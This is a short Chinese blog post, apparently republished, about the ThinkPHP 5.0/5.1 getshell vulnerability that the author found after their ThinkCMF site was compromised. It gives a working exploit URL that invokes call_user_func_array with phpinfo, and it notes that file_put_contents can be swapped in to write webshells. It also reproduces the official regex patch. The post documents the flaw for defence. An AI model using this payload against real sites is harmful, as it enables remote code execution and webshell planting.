记录thinkphp5.0和5.1的getshell漏洞
内容导读
互联网集市收集整理的这篇技术教程文章主要介绍了记录thinkphp5.0和5.1的getshell漏洞，小编现在分享给大家，供广大互联网技能从业者学习和参考。文章包含1318字，纯文字阅读大概需要2分钟。
内容图文
下面由thinkphp框架教程栏目给大家介绍thinkphp5.0和5.1的getshell漏洞，希望对需要的朋友有所帮助！
之前网站被提权了，那时候网站才建没几天，应该不会有人故意为之，可能是批量扫描getshell的，为了方便我找的是开源系统thinkcmf建了博客，看着挺不错的，因为thinkcmf用的是thinkphp5.0的框架开发的，我到thinkphp.cn上去看了一下，原来有一个提权漏洞。
libaray/think/app.php文件中模块，控制器，方法使用的是/来区分开来。
然后并没有对控制器进行过滤，导致可以构造执行各种函数
我在本地建一个虚拟主机测试http://cmf.com
构造一个url访问，可以直接打印出phpinfo:
http://cmf.com/index.php?s=portal/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
然后你可以把phpinfo换成其他函数，比如使用file_put_content函数创建各种大马小马文件。
TP官方的修复5.0方法是：
在think\App类的module方法的获取控制器的代码后面加上
if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
throw new HttpException(404, 'controller not exists:' . $controller);
}我用的thinkcmf的版本是：ThinkCMF 5.0.180901
然后我看了一下thinkcmf的官网已经更新到5.0.190111，最新版也更新了tp5.0到最新版本5.0.24了包含了安全更新，当然也没有这个提权漏洞了。
以上就是记录thinkphp5.0和5.1的getshell漏洞的详细内容。
本文系统来源：https://www.php.cn/phpkj/thinkphp/457850.html内容总结
以上是互联网集市为您收集整理的记录thinkphp5.0和5.1的getshell漏洞全部内容，希望文章能够帮你解决记录thinkphp5.0和5.1的getshell漏洞所遇到的程序开发问题。 如果觉得互联网集市技术教程内容还不错，欢迎将互联网集市网站推荐给程序员好友。
内容备注
版权声明：本文内容由互联网用户自发贡献，该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容， 请发送邮件至 gblab@vip.qq.com 举报，一经查实，本站将立刻删除。
内容手机端
扫描二维码推送至手机访问。